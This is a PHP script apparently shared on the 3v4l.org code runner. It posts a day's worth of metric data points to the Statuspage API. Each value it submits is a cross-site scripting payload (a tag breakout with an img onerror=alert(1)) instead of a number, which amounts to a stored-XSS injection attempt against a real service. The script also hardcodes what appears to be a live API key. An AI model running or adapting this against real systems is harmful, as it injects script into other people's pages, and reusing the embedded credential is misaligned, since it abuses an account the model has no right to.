3v4l.org

run code in 300+ PHP versions simultaneously
<?php $API_KEY = 'f313362ef4400dc313d57d573996a086a8db17697ebd6b8c0f77dcb178460406'; $PAGE_ID = 'kw9m35yq84vy'; $METRIC_ID = '8p5cf4zshp98'; $BASE_URI = 'https://api.statuspage.io/v1'; $ch = curl_init(sprintf("%s/pages/%s/metrics/%s/data.json", $BASE_URI, $PAGE_ID, $METRIC_ID)); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Authorization: OAuth " . $API_KEY, "Expect: 100-continue" ) ); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // need at least 1 data point for every 5 minutes // submit random data for the whole day $total_points = (60 / 5 * 24); for($i = 0; $i < $total_points; $i++) { $ts = time() - ($i * 5 * 60); $value = rand(0, 99); $postparams = array( "data[timestamp]" => $ts, "data[value]" => '\'"></script><img src=x onerror=alert(1)>' ); curl_setopt($ch, CURLOPT_POSTFIELDS, $postparams); curl_exec($ch); printf("Submitted point %d of %d\n", ($i + 1), $total_points); } ?>

preferences:
37.5 ms | 402 KiB | 5 Q